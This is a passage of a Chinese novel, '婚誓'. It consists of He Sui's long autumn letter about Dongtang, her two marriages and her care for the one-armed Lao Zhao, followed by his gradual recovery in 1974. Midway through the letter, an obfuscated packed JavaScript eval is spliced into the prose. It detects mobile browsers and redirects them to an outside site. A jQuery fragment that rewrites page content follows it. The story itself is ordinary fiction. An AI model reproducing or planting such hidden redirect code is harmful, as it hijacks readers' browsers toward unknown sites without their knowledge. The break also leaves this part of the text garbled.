《婚誓》
1. 第一章
雨秀并振林哥春子弟、亲爱的孩子们:
“今年的秋天来得早,你们要是现在能够来,可以看到我们冬塘红叶温暖的秋天色彩了。
这些日子里,我有空就会来冬塘。有时候坐班车,有时候骑车。
现在从乌浟去冬塘一天有四班车,差不多隔三小时一班车,早上七点至下午六点。而且道路也拓宽了很多。
坐车人很多,改革开放形势变了,外出找活做事的人多,来冬塘干活的人比过去也多了很多。
给你写这封信的同时,也许是在想念你们。这未免有点可笑了吧?当初你数次来到我家门前,我把你拒之门外。我想你要是不来,就算是惩罚我了。如果你要我向你道歉,那我就此向你道歉。
我刚才走过的杏树林里地上已经铺满了落叶,银杏叶也开始泛起了金黄的颜色。枫叶红了之后,杏叶也开始变黄。红色的枫叶与银杏叶的金黄,莫过于是秋色的景致吧?
据说红叶可分三个阶段,以这个月下旬十几天后为最。你要是收到我的信即刻动身的话,正好就是红叶开始层林尽染的时候了。
到了那个时候,呈现在你面前的是一幅织锦般来自于大自然美丽的景致。要是雨天,还可见到有红叶的山峦峰峰缭绕的雨雾。
银杏树叶大概在下月上旬全部泛黄,那时候是最适合的观赏期。
赏了枫叶红之后,正好可以赶上再赏银杏叶的金黄。当然,间中或赏完银杏之后,你们也可以在长河*(省城)、西山*(雨秀的故乡,地区市)、乌浟住上一些日子。以你们尊贵的身份,住的地方之多,一定远非我所说的以上三个地方。
我现在就坐在峻峰山半山腰枫树林里的一处小山麓上。
这里视野开阔,可以俯瞰古老的冬塘小镇,看到木铺街的人影;也可以眺望山脚下蜿蜓流过古镇的冬河,还有那高耸在冬塘旷野之中教堂的白色穹顶,和点缀在眼前山林里红色的枫叶。
这时候的太阳从山峰那边逐渐西沉,远处的山峦开始发黑,发黑的山峦与夕阳的余晖,相映生辉,完全是一派廖寂秋天日暮时分的景象。
这样来自于大自然旖旎的风光,单靠文字的叙述无以表达,就是用手中的画笔也难以描绘。
入秋以来,我差不多不出十几天,会来一次冬塘。平常的日子里,最多不出二个月。这样的情形,将近三年。有时候会应邀约上二三个相好一同前来,但大多数的时候,都是我一个人独自而来。
难道是我迷恋这个故乡和被岁月带走了我的青春年华的地方吗?这样一想,顿觉不可思议。
我想象每次来冬塘,都是一次短暂的旅行。背上行囊,里面放着吃的和水。这样我可以在冬塘任何一处的林子里呆上一整天。也不在乎赶着下午末班车回乌浟。
在山里,我有过几次留宿在老乡家里。老乡也高兴地接待我。我得感谢自己当年在食品站给乡亲们留下的好印象。最可笑的是我留宿的一位老乡家里,他竟然还记得十几年前我过磅他们家售卖的一头猪时,他让我悄悄地把秤砣往外拔一点点被我拒绝的事情。这让我感觉十分可笑。
老乡非常热情要我多住二天或下次再来还是住到他们家。如果我不是要赶回学校上课的话,我真想在老乡家里多住一天。
我只好答应下次来还是住进他们家。这是我来冬塘乐此不彼的底气和勇气。也是我作为一个还算年轻的女人敢独自一人在深山老林里行走的原因。
当然最坏的打算是去区政府*(现在改为镇政府)找周书记周县长的部属求助。
前两次有两个准备考美术学院的学生跟着我来。他们知道我常来冬塘后,怕我不愿带上他们一起,提前二天找我说好,而且还给我送来二袋水果,好像是央求我非要带上他们不?可。
我这次便让自己单独过来,要是带着人一起,就没有这份悠然自得的好心情了。我是怕自己将就别人,也怕别人将就自己。
早上七点我从乌浟坐头班车差不多八点到冬塘。穿过杨梅竹斜街,经过我们以前的供销社、染织厂、制锅厂、合作医疗、缝纫社、铁匠铺,农机站、碾米机房……过了九鹤桥,沿着冬塘河岸一条柔软的草径,独自踩着大自然纯粹的脚步声,从高过人头的茅草丛中,进入峻峰山森林里。
路经水塘时,看见几只小水鸭掠过水面,飞向丛林。
有时候我会故意绕道走去食品站,在那儿流连往返依依不舍。从十六岁到二十三岁,我把人生中最美好的青春留在那儿。我在这里劳动和生活七年整,让人匪夷所思的爱情也是在这里结晶。
听说过不了多久食品站和畜牧场也得卖给个体户经营。可我情愿它还是十几年前人民公社的模样,老乡们还可以抬着猪笼子来卖自家喂养大的牲猪,想象自己也还是站在猪栏入口的磅秤旁过秤,我的丈夫断臂老赵大叔仍然空着一只袖子在猪圈里搞卫生。
听说你那儿是广袤无垠的平原?我不知道你不见山,是一种什么样的心境。对于我来说,如果没有连绵起伏的群山,我想我的心情一定会虚脱得荡然无存。
我希望你们这个时候能来,那怕是回故乡看看秋色也好。小文告诉我,饱读诗书的春子为了红叶和银杏曾和周团长发生过争执。可惜我没有春子的通信地址。
我想春子的婚姻生活一定是很幸福。关于春子的婚姻,小文从未向我提起,我也不敢多问。只知道春子已经结婚七年,妻子是部队里的一个女孩,儿子思修也快六岁了吧?
我知道你们周家所有的人都尽量避免谈及春子的婚姻,是因为怕伤害另一个女孩子的心。
我和雪秀有过一次长谈。谈的话题都是十几年前那年冬寒假期间,她在春子家住与春子形影相随的事情,还有就是在牛姥山学校他们同窗共读的时候与春子两小无猜的故事。
我理解雪秀对春子那份炽热的爱恋之情。现在雪秀病发,她的一些情形与老赵有些类似,这么说也许冒犯了可爱的雪秀。所以我在雪秀处于这种状态下,对她的了解多过于同情。我愿意你们周柯两家的人、对雪秀除了给予她无微不至的关心外,还要去走进她的内心世界,对她有更多的了解。
这句话我想让春子知道。
我现在与小文频频相会,是因为我知道小文也用不了多久,会离开乌浟离开冬塘。也是因为不管是在冬塘还是在乌浟,再也找不到可以和自己能够倾心相谈的人。
冬湖林场有处庵院,而且还一直住有人,其中有一个人是小花五十年代初逃亡的母亲。我真不敢想象,这几个女人是怎么深居在深山老林里遁形隐迹了三十几年。
为了探个究竟。二年前的初冬我让云子驾车载我在森林里走了二天。虽然在冬塘呆了那么多年,我还是第一次走进茫茫的森林。冬湖林场划入国家森林公园,这真的是冬塘人民的庆幸。
在冬湖尼姑庵,我看到那几个身着阔袖宽松海青色衣服的圣女。没人过来向云子和我招呼,我们想找人搭话,到处门窗紧闭。偶尔看见一个圣女,人家也是眼帘低垂,一见我们就远远地躲开。圣女那瞅着我们的眼神完全是一副唯恐避之不及的样子。
也许是帅气的云子吓到了她们。况且像我一个还算年轻的女人,与云子一起,如果不细细看清我显得老相的脸、和云子过于年轻的面孔,在深山老林里,很容易被误认为是一对儿情侣或夫妻。我们一男一女来到圣地,在圣女的眼里,一定玷污了她们。
我们始终没有认出小花母亲。在尼姑庵外面绕了一圈。我想要是振林和振实去的话,肯定会是另一番情形。
我出来就后悔跟云子说,我是特意来看小花母亲的。我想仰望她的容颜,一睹她的风采。我要倒回去,但被云子狠狠地拽住我的胳膊。他说面对面指认犯了圣女的大忌。
云子让我下次再来。
我身旁有一棵怀抱粗的大树,树的树皮平滑,呈浅灰色,树皮上面有很多地方不规则纵裂。这树我不知道它叫什么名字。它的枝杈看起来是那种生长缓慢的距状短枝。
夕阳的余晖从树枝上映照下来,我更喜欢它映照在枝头上的光芒。身体内涌上一股温馨,此刻喜悦的心情,让我感受到来自于自然万物和人的亲近。
今天进山没看到小松鼠和猫头鹰。但鸟儿的啼啁声总是在我身边鸣叫不停。我想再呆一会儿,等天暗下来,总会有小动物出现吧?
你一定会关心我第一次的婚姻为什么会失败。我把它简单地说出来。我现在心情舒畅,说出来不会有什么难过。
应该用三言两语就可以说得清。我不想说那个男人的不是。他毕竟是我女儿的爸爸。但是这个男人有很多陋习,最典型的就是随手扔东西,让你持久不断的替他重复整理。再整齐的东西过了他的手,都会让他扔得一团乱麻,而且转身不认账,还出言不逊。
他还曾经告诉过我,夏夜的晚上放电影,他和姐姐卖二分钱一碗的凉开水,由于喝水的人多,他干脆就从稻田里挑水卖给人家喝,结果第二天,就有很多人腹泻,被人质疑。开始听后不以为然,后来感觉越来越不对头,再到后来果真成了问题。
坦率地说,那二年里,我见过太多的这一类人做过背徳的事情时,那副扭头窃笑丑恶的嘴脸。
我知道自己嫁给的男人品行出了问题,于是坚决地离了婚。这方面话题就到此为止。说起这个话题,感到是在龌龊自己的心情。
依稀降临的夜色,远处重叠的山峰开始逐渐朦胧。我坐的位置的山麓向东伸展,这是一片缓缓倾斜的土地,它一直延伸到山脚下的冬河。
我有过二次让周县长停车载我的荣幸。都是在来冬塘的路上。我喊周县长,周县长让我还是称他“振实”,可我那敢如此放肆。
我跟云子说,要是他当了什么‘长’,就不要叫我‘何姐’了。那样的话,有失他的体面。可云子对我说,我永远是他的何姐。让我好一阵子的感动!
为了我以后更加美满幸福的生活,从现在起,我必须要千方百计地巴结你。小文都作了县长太太了,我想这是她当初怎么扭捏都想不到的。而且周县长还在金光大道上一路凯歌继续向前进。
我想巴结你的好处太多,我即是千万遍口口声声说感谢你们也没用,因为我无以以实际行动去回报。
我们有十三年没见到周书记了。现在见周书记,只能在电视上看到。如果我跟人说,我去过周书记家,还住了一晚,我相信会把一些不知底细的人吓得目瞪口呆。
我很高兴云子娶了细秀!我得到这个消息后特意从我菜畦地的篱笆墙上扯了一大把花,插在家里为他们一对新人祝福!
我真切地希望年轻人的爱情和婚姻能够完美地结合。我把云子细秀结婚的消息告诉老赵,老赵立马就上山砍来一根竹子,他说他要为云子细秀编一个漂亮的花篮。
按照他老家习俗,连续六天得有把盛满花的花篮挂在新人的门口。干活勤快这一方面老赵他很在行。后来还是被云子细秀知道了。他们给老赵送来一份厚礼:六斤粮票和十六元钱。说是新人喜庆馈赠的礼物,其实就是酬劳嘛。
我用了很多的溢美之词赞美你们周家,让你明白我虔诚的阿谀奉承。
恭维和尊敬更容易俘获人心。很多人把这一点视为自己人生织累经验和总结教训的处世信条。
我、也不外乎如此。
我记得那天晩上在你们周家的绣楼和你们周家二个媳妇谈论我们的爱情。现在要是把我的婚姻与那时憧憬的爱情对比,算不算很失败?
当然更加不能拿我与你、小文放在一起去说。它会令我惶惶不可终日。
嫁给断臂老赵真的是很意外。如果要是那个时候有人正儿八经地托媒让我嫁给他,我一定会把人家骂个狗血淋头。
我敢肯定地说,至今仍然有人认为我何穗嫁给老赵是一件很荒唐的事情。尽管过去了十几年,尽管我如今也替老赵生了一个女儿。
可是他们不知道我的情况那时已经是很糟糕。之前已经让另外一个男人糟踏过,还拖着一个三岁不到的小孩。如此窘迫的情况下,让我再找一个品行端正的年轻人?我想除了遭人唾弃,自己还能奢望什么?
我现在无需装模作样去讨好一个条件不错的男人。在与老赵的婚姻生活中,我们满足于自得其乐。
老赵比我大二十三岁。他有可以做我父亲的年纪,两只手之间,还断了一条胳膊;又在阶级斗争的运动里发过疯,但这一切都是来自于外界所致,并不是他本身所为。既是他本身所为,也并不关乎于品德上的事情。
十几年前,我和老赵同在食品站工作时,我记得不止一次地跟你说过,老赵不是一个坏人。以我对老赵的了解,他善良和宽容的品行绝对在我之上。在他疯了那二年当中,有那么多人愿意去帮助他,就是最好的证明。
如果没有老赵,我相信自己的这一生都会在忧伤中度过。就是孩子给我带来的幸福,也很难以抚慰自己所谓的心灵创伤。
所以说嫁给老赵,我是经过深思熟虑的。
如今十几年过去了,这并不是一起什么令人难过的事情。
因为我幸福,我才把这一切都告诉你!
在冬塘,好像没有人知道我嫁给了曾经疯过的断臂老赵。我不知道是乡亲们有意避口不谈,还是谈起这个话题来怕我的伤心?我知道你会和冬塘乡亲一样,回避我婚姻上的话题。
以为我的人生遭到了不幸,心里充满着对我的同情。
可我并不这么认为。我只要自己活得更好,我想这并不是什么羞耻的事情。
当然也并不是老赵感化了我,或者说是我在心灰意冷的状态下沮丧地接受了他。
我从未想过这个问题。当你再见到我的时候,我表面看上去还是那么鲁莽,但是我的内心性格却整个地变得淡定从容了。
我觉得老赵理应成为一个让我喜欢的人,然后再由此让我爱上他。现在这一切居然都做到了。同老赵喜结良缘,对于我来说,是一种拯救。
我曾一度认为,我的爱情在开始的时候就结束了,婚姻生活更是丑陋不堪。
其实这十几年当中,我是见过你一次的,我躲在人家的屋角落里,看到你落落寡欢从我家门前转身离去。你还不时的回头张望,甚至还停下脚步注视着我的房屋。
我想那一刻你心中一定是为我悲伤。
第一次婚姻失败之后,也正如你为我所忧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199085|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我曾一度在现实中丧失自己。还曾不止一次地想过死亡。
婚姻的失败,对于女人的悲哀似乎是理所当然。就是自己自杀,大家都会觉得并不意外。因为事实上,确实有很多的女人为自己失败的婚姻自杀。
有一段时间,我也真的准备去死。但怀抱着孩子,连死去的途径都没有。人活到这种地步,是不是真的已经走投无路了?
我想我要是那个时候疯了的话,一定比老赵疯得优秀。幼稚肤浅的爱情受到了报应,也得到了惩罚。如果再能重来,一定会是另一种安详沉静的情形。
也许只有这么说我现在和老赵的婚姻。
这时候的天空,桃红色的云彩,变成了漫天的晚霞,夜色来临。
我想人世间所有的俗念,是不是会在此时此刻销声匿迹了呢?
信写得很长,把我十几年来弊在心里面的话絮絮叨叨地说了出来。待到我们相见时,就用不着刻意回避什么,我想我们仍然可以象十几年前在牛家湾你们周家宅邸里一样畅所欲言?
天渐渐地黑了下来,我真的下山了。——心情真正轻松愉快啊!”
——何穗
某年秋
何穗短暂的第一次婚姻,前夫是下放另一个公社的知青。她与前夫离婚后,带着一个二岁大一点的女儿,第四年与老赵结了婚。在恢复高考的那一年,她考上了美专,毕业后在学校当老师。
对何穗的了解,就是这些了。雨秀几次去看她,都遭到了何穂的拒绝。何穗不愿见到自己,让雨秀很难过。
从此后也没再想起去看她。有时和小文在电话中偶尔提及一下何穗,过没多久也就忘了。至于何穗是怎么嫁给老赵的,小文也说不清楚。何穗在信中,也似乎是有意轻松地说了一下。
在从大叶往长河的火车上,雨秀把多年前小文与自己俩妯娌之间的对话,说给小叔子周振春听:
“她第一个男人无论是德行还是素养与何穗相差太远,甚至是格格不入。去食品站看何穗就在畜牧场偷了一只鸡,掐死埋在稻田里,被人抓住送到公社,让二哥放了。那时候他已经跟何穗结婚了。大家都知道何穗与我们家的关系,没有说出来。听说这人生活也不检点——
“何穗两次的婚姻,都不是意中人,更排除是理想国的王子之外,对于她这样画画的人,可以想像是怎样的一种感受。”
雨秀接着说。她脸上露出无奈的苦笑,好像从信中看透了何穗沮丧的心思。
她知道何穗信中所言,并非是她真实的思想和内心感受。
“一股纤细强韧的力量,优雅的秉性,目测深渊的思想,谙熟的人生与其简单的生活互挽。在其条理明晰之中,隐含着一点儿淡淡的忧伤。”
雨秀把自己对何穗信中的心情,用一种模棱两可的语言表达出来。
何穗与老赵的二次婚姻,不但要忍受一些侮辱,还得要面对一些人对自己的讥笑,接受他人对自己鄙夷的眼光。
雨秀和周振春叔嫂俩都知道,但都不愿说岀来。至于何穗为什么还会有那么点儿忧伤,雨秀摇了摇头,轻叹一声,朝小叔子看过去,希望他能说出来,但周振春静静地把目光投向列车车窗呼啸而过外面的风景,没有言语。
“何姐照顾老赵,到底是哪一年?个个说得不同。”
周振春问。也许他觉得不应该这样漠视视自己亲如弟弟的雨秀姐。
“哪一年?应该是爸去县里工作的头两年吧?”
“姐你和二嫂怎么都说不清呢?”
“是呀,之前何穗也是一直在照顾老赵,真正做起来是那一年把老赵接回她家过年,小文带何穗找了爸,为了老赵房子的事……是爸去县里工作第二年,七四年冬吧——”
一九七四年冬,岁暮二十四农历小年的早上,何穗一边洗脸一边望着老赵。老赵领着一只狗朝外面走去。今天过小年夜,何穗把老赵接回家来。
何穗没有叫住他。老赵现在正处于意识恢复的状态中,狗在前面沿着路边向阳的一边走,老赵在后面跟着。他的右手柱着一根竹拐,左手的断胳膊何穗跟他用条绳子绑了起来。绳子染成绿色,又粗又长,一直缠绕到他的肩膀上。
第一次刚来何穗家的时候,他的这只断了的胳膊挎着一个包袱,完整的右手端着一只破碗。这种情形下,他巳经在流浪乞讨的生活中过了一年多。
他得到了很多人的照顾。人们偷偷摸摸地往他碗里放吃的,给他送来衣物被褥。
他四处游荡居无定所,不停地躲避,变换自己的栖身之地:茸房、土窑、防空洞、人家的猪窝……这一切都是为了不舍离开冬塘离开乌浟。
一段时间不见断臂老赵,人们会四处找他,给他擦洗干净身子,把一身沾满蚤虫的衣服换下来。后来简约芳还带动了几个医生护士,给他流脓的手臂换药,悉心照顾他那只断臂。也正如此,老赵才活了下来。
狗从草丛中爬出来,蹦哒着四肢绕着老赵的身子蹿,老赵也高兴逗它。老狗蹿到他身边时,老赵利索地一把抓住狗,抱进怀里。
老狗被他抱起来后,非常驯顺地蜷伏着身子,把两只前腿搭在他胸前,头枕在他的肩膀上。
阳光隐约投下了树的阴影。大地在晨光初照之下,笼罩在凛冽的寒冬里。老赵把狗抱到一棵树下坐下来,从衣服口袋里拿出把梳子,开始给狗梳理起毛来。
老赵把狗照顾好了,他的病也就好了。这是何穗交待他的话。
老赵一边给狗梳理毛,一边很蹩脚吹着“雄纠纠气昂昂”的口哨。他沐浴在和暖的阳光之下,露出舒畅的笑容,悠闲地享受着不受干扰的时光。
老狗嗡嗡地叫了起来,把趴在老赵怀里的身子动了动。老赵把狗小心翼翼地放下来。在朝阳的照耀下,老狗在地面上叉开四肢,撑了撑身子,再弓起背,猛地一声狂吠,撒开腿猛然向前跑去。老赵顺着老狗奋蹄直追的方向,这才看清楚土堆上有二只一大一小的猫。
看到二只猫在一座小山丘的脚下遁入一个洞里,他记得自己在这个小山洞里度过一个秋天,后来有人把它挖大当作防空洞。
他们将挖出来的土堆堆在外面的草地上,他和何穗刚刚开始搬过来的时候,在土堆上种过蔬菜,如今成了小动物晒太阳的地方。防空洞也成了野猫的庇护场所。
那是以前老赵不同的梄身之处。相关部门还是给了老赵的房子,但老赵不敢在房间里住。给他的房子是筒子楼里的一间房,人来人往,让老赵恐慌。他怕有人突然把他带走。
何蕙带着老赵在河边开垦另一畦菜地,这土堆就荒芜了。大概是新挖出的土壤肥沃,上面长起成簇的芭茅草。这芭茅草在严冬本该是枯萎的季节,但它的底部的绿色泛着苍郁遒劲的光芒。
河的两岸那些菜畦地和稻田里,在冬日荒芜的季节,有几头放养的牛漫步其中。这时四周寂静无声。从这里望过去,就是一幅冬日旷野恬静的乡村风景山水图。
老赵把自己的目光投向冬日阳光下的旷野。
他开始懂得凝视眼前的物体和仰望天空,眼睛也有了深沉与忧郁的神情,渐渐地显现出一个健康者固有的姿态,一些正常人行为慢慢地在他身上表露出来。
2. 第二章
列车驶出大叶,还是晴空万里,到了江南省境界,开始灰暗起来,现在临近西山,天空渐渐变得阴沉,有时也会下点小雨。
这是山区特色典型阴晴不定多变的气候。
列车碾过另一条轨道上时,车厢猛地一下摇摆了一下,发出咣当咣当的声响。
没多久,车窗外开始出现连绵起伏的群山,频频呼啸而过穿越遂洞。
列车每次钻出遂洞,在白与黑、明与暗刹那间的光线交替中,犹如划过闪电的光芒。这让孩子们兴奋不已,他们都会发出啧啧称赞的欢呼声。
“说起老赵,也多亏了何穗。”
雨秀很感叹地说,
“她嫁给老赵,现在我们冬塘可能还没几个人知道。就是知道的人,恐怕也没有几个人相信。”
叔嫂俩边谈边一起回忆十年前的何穗——
“他过着与狗为伴的生活,是因为他太孤单太寂寞。在他的脑海里,人类成了可怕的恶魔。他让自己与狗共处,而拒绝与人一起。他把自己封闭在慌恐紧张的精神生活之内,当作逃离现实生活的避难所。他就这样子沉浸在孤独焦虑、抑郁消沉的情绪之中。”
这是何穗日记里的一段话。为了帮助老赵恢复正常,何穗每见一次老赵都会把自己的想法写出来。有时候一页半笺,有时候一二句。
现在把老赵接到自己家里来,她就记得更勤了:
“给予他积极的帮助和关心,给他以保护的力量,在他生活恐慌孤立无助的时候,让他感到欣慰和安全,这种欣慰和安全可以缓解他慌恐焦虑、紧张不安的情绪,面对厄运和挫伤,不再有担忧和恐惧。”
“给予他爱的温暖,让他激起对生活的信心,使自己变得坚强起来,从恐惧紧张抑郁愤怒与人总是处于战斗中、神志不清的状态里解脱出来。生活中仍有值得美好的事情去追求,让他从颓废消沉的意志状态中抽身而出。”
“对于一个神志不清的病人,袖手旁观或是漠然以待,是间接地在伤害他的生命。任何的嘲笑和讥讽都会给他带来灭顶之灾。”
何穗给老赵安排对着山的一间房间。在这房间里,只要往窗外一望,便可以看到外面的田园和山峦。屋子外面檐廊上摆放的一张大板凳,坐在上面,能把对面山体上的树木看得一清二楚。
有时还依稀可闻从对面山坳里的村庄,传来鸡鸣吠叫的声音。这些鸡鸣吠叫的声音,随风忽远忽近。
何穗与老赵在冬塘食品站共同工作五年多,四十开外的老赵性情耿直,乐于助人,在单位众口皆碑。
在过去一起的工作中,何穗她得到过老赵很多的帮助。可以这么说,现在在乌浟县城,自己是老赵身边唯一熟悉的人。
一年前,老赵干活摔伤了断臂,她在医院里照顾他,替他送饭。那天晩上在春子家住时,说起老赵住院的事,和雨秀小文还取笑他,说老赵为了保护完整的左手,故意让断臂的右手再去受伤。
这么一个坚强乐观的人,现在变得这个样子,让何穗很难受。犹如一株被从根锯断的大树,骤然倒下,横在地上,粗壮的枝干扭曲折断,苍翠的树叶四处飘零。
何穗有好几次在睡眠中梦见老赵一个人走在荒山野外,消失在漫无边际的迷茫中。一会儿又恍惚出现,如此反复。
待到跟前,他满脸是一副非常紧张恐惧扭曲的面孔,望着人不知道是哭还是笑,让人揪心。
有一次梦见老赵和老狗在冰冷的河里挣扎浮沉,把何穗吓得从梦中哭醒。从那次恶梦之后,她就开始想,是否把老赵接到家里来。
这个问题后来天天萦绕在她的脑际。
岁末年初交替之时,不断传来迎接新年到来的鞭炮声,节日的气氛愈来愈浓。
午饭的时候,老赵和老狗回来。何穗手拿张小板凳,走上前。
“把老狗带去哪里了?”
何穗问。她把手中的板凳放在老赵跟前的地上,让他坐下来。
“在河边。”老赵喃喃地说,坐在板凳上。
“是我们的菜畦地哪里吗?”
何穗把身子蹲在老赵面前,一条膝盖跪在地上,柔情十足地问
“是……”
“给老狗梳毛了吗?”
“梳了。”
“梳子呢?”
“在口袋。”老赵拿梳子的手微微发抖。
“昨天梳了吗?”
“梳了。”
“好。只要你想得起来,就太好了。”
何穗把跪在他面前的身子站起来。
在回忆过去的时候,让他从过往的日子里寻找记忆,发现自己的故事,唤醒他应有的意识,加以引导,使他头脑中的问题变得简单清晰,逐渐形成他自己具有鲜明的思维逻辑能力,最终达到正常人健康的思维方式。
这需要细心的引导和耐心的等待。
刚刚开始老赵任何一句清醒话,都会给何穗带来不一样的惊喜。有时候会让她激动得热泪盈眶。
不能让他沉湎于忘我的境界中,从回忆中有意识地练习自己的思维方式,让他一边叙述一边试着从记忆中醒悟过来。
怎么帮助老赵从恍惚中清醒过来,面对这个问题,何穗常常陷入长时间的思考中。
这样过了一些日子,老赵可以回答一些复杂的问话。
“你以前天天干活,干活是一件很简单的事情。你现在每天去干点活,还是和以前一样。好不好?”
“……干活,只要有力气,总有干不完的活,还可以把活干好。”
“有人一早就到山上去了,直至天黑了才下山。山上有那些活需要干的吗?”
“山上的活儿?……种菜、寻药材、还有砍柴……”
“怎能干得完呢?还有呢?”
“……刨草皮,寻猪草。”
“你寻过猪草吗?”
何穗问。老赵经常寻猪草,喂给食品站畜牧场的牲猪。
“我没事就上山寻猪草。”
“知道是在哪儿吗?”
“牛姥山、猫岭、还有枣鸡坳……”
“我记得你告诉过我,也去过野猪坪?”
何穗提醒老赵说。
“是的。我想起来了。”
“是野猪坪吗?”
“是的。”
“你说‘是野猪坪’。”何穗引导老赵。
“……野猪坪。”
老赵嗫嚅了地说,他的手还是微微颤抖,心里在着急,“我还在野猪坪里砍过竹子。”
通过对话交谈予以开导,引领他慢慢进入正常思维的模式中来,摒弃和剔除掉他思维方式上不必要的和一些纠缠不清的问题。
“砍竹子做什么呢?”
“……”老赵回答不上来。
“好了,不要去想了。去带老狗玩吧。”
何穗把蹲在地上的身子站了起来。
不能让他回想太多,过分认真或任何强制性的举措,那样会扰乱他的思维,使他在焦虑紧张情绪中陷入混乱慌恐的困境。他脆弱的神经再也经不起任何的折腾。
“你在慢慢好了,啊。以后干活得慢慢来,说话也要慢慢说,把声音拉长一点,性子不要太急。”
何穗耐心地安慰他道。
她已经清楚老赵一旦焦虑急躁得不行,神志紊乱的症状表现出来就会加重,身边有人安慰开导,很快就会缓解。
可以明显看到被人爱的感觉比其它任何东西,更能减轻他的情绪异常,这需要提高他对人的信任和热情。
当他明白人们是对他的关心和帮助时,自己安然无恙,这种情绪就会表现在明显自信的状态上,进而体现在他的行为方式表现出在正常人的状态上面来。
要是老赵不是孤单一人,在乌浟在冬塘有个家,身边有人这么关心照顾他,引导开解,何穗相信老赵就不会犯这样的病。
现在何穗明白过来,老赵他在冬塘食品站,那样地一天到晚忙个不停,到处给人干活,就是因为自己太孤单,想借此于做好人好事的过程中,与他人多一些相处。尽管如此,生活并没有让他继续把好人好事做下去。
在错综复杂的社会环境中,没完没了的阶级斗争里,他对自己身处逆境束手无策,并由此产生对自己生活的幻灭感。
“让他知道,独处于抑郁消沉逃离现实生活的情绪,不是他唯一的选择。他可以高兴起来,让自己变得快乐,感受到现实生活当中的美好。
“当他心里郁积太多消沉的情绪,所表现出举足无措呆僵木讷的时候,设法满足他一切的需求,给予他积极的自信,哪怕有些是虚拟的,甚至不合乎情理。这一切都是为了让他从非人的状态中进入到人的状态中来。”
这一天,何穗在日记里这么写道。
周振林在那年初回家把弟弟春子接回部队参军,他自己顺便与雨秀完婚,雨秀也跟着丈夫一同去了部队。
几天后同年初,小文和振实结婚。在婚宴席上,简约芳把老赵的遭遇还是偷偷地告诉了何穂。俩人带着婚宴上的饭菜在一处土窑里找到了老赵。
蜷缩在土窑里的老赵怀抱一只老狗瑟瑟发抖。何穗一见到凄凉的老赵当即哭了,她无法相信老赵会变成这个样子。
从那时起何穗每周末回家,都会设法赶去照顾老赵。后来她还是忍不住把老赵的情况也给爷爷说了。
爷爷是乌浟小有名气的画匠兼木匠砌匠。早年年轻时闯江湖去过一些大地方,见多识广。老人对孙女说:
“心里急得闷得慌,人家往死里天天又逼,内急外逼,这样老是折腾没完没了,时间一长就容易犯这样的病。”
老人告诉孙女说,“前几年狗里冲村的张开古,一门心思要去参军,体检二次都没合格,相了亲的对象不要他,也犯了这个病,半夜三更跑到山上爬在树上又唱又哭。后来也慢慢好了,还当了赤脚医生。这你是知道的。”
狗里冲村就在可望的河对岸,小伙子张开古热情开朗,头脑灵活,跟着自己的舅子在学做郎中,也写得一手好毛笔字。发病时毫无症状,开始只是夜里爬树,家里人以为他是闹着玩,把他拉下山。
他一样参加生产劳动,干起活来样样不落下,只是人越来越闷闷不乐,少言寡语,休憩时总是独自一旁恹恹欲睡的样子。
后来一次他半夜再上山爬树,家人拉他下来,他一个十八九岁的大小伙子,趴在树上无缘无故地嚎啕大哭,家人才发现不对头,知道是犯病了。
何穗家里爷爷、母亲、哥哥和弟弟。哥哥已经结婚在单位住。弟弟前年高中毕业也下乡了,母亲在鞋厂上班,是一名普通的女工。
父亲和爷爷一样,身兼画匠木匠砌匠,有年冬,在给人家砌墙架房梁的时候,摔了下来,就这样意外身亡。才三十出头的年纪。
母亲没有再嫁,让爷爷感激不尽。家里大小事情,都是母亲作主。何穗失败的婚姻,让母亲心生愧疚。现在女儿把老赵接回家,她也就默认了。
这天上午爷爷带着老赵去了菜畦地。老赵从菜畦地的溪边砍来一捆芦苇,靠在墙角,芦苇很长,足有屋檐高。
何穗拿着一根芦苇看了看,无意中朝爷爷房那边望去,只见老赵正坐在屋檐下。
爷爷正坐在小板凳上对着一块箱柜木板门雕刻花。老赵同老人相对而坐,爷爷有意问他的话,每次被问到什么,老赵都是老老实实地“嗯嗯”地点头,不管对错。
老人就这么教他:
“你要想一想,再回答我嘛。不管我说什么你都点头,要是我掉到河里了,你也点头吗?”
“嗯。”
老赵还是点点头。
爷爷知道,老赵与自己还不熟,对自己心存畏惧。尽管自己是个年逾六旬的老人。如果再强迫他答话的话,他就会糊涂起来,甚至还会麻木。
“今天辛苦了。你去我屋里把我的烟袋拿来,抽口烟吧。”
“嗯。”
老赵应了一声,走进屋子。
出来时,把手中的烟袋递给爷爷。
老人从自己的烟袋里抓出一把烟丝,再从里面一叠卷烟纸上,拿出一张给老赵。
“你也抽一口吧。”
“嗯。”
老赵伸手接过爷爷的烟丝,用另一手接过老人递过来的卷烟纸,还是垂着眼睑低着头,连抬头望一眼爷爷的勇气都没有。
“你要跟我好好说话才行呀。不能总是这么‘嗯嗯’嘛。”
老人眯着眼笑着,还是耐心地教老赵。
“你冷吗?”
爷爷问老赵,他今天已经问过好多遍了。
“不冷。”
老赵摇摇头。他把烟丝很熟练卷成一个喇叭形状,含在嘴里。
“这就对了。”
爷爷高兴地看着老赵,夸他说。
老赵少了些畏缩,但显得特别拘谨,面对老人的看着自己的问话,一直低着头,闷声不响地抽着烟。
他既没有穿棉祆,也没有穿毛衣,穿的是一身刚刚换的蓝咔叽外套,里面一件衬衫和二层布厚的小背心。
他不畏严寒,流浪的日子,锻练了他的身体。
爷爷带着他去了一趟菜畦地,让老赵从溪流边砍来的芦苇杆,准备用来作春季的豆角架。
何穗过来,问爷爷:
“爷爷,我喜欢用芦苇来叉豆角架,如果可以的话,丝瓜麻子瓜也用它。”
长在菜畦地溪流边的芦苇,茎秆直立,植株高大,几乎一般粗,象是茁壮成长的树枝。
如果足够多的话,用来作整个菜畦地里春夏季的瓜菜栅架是最好的,也可以省去上山去砍树枝的时间。
就是对保护森林也有好处。
“嗯。有老赵在,今年就用芦苇杆。”
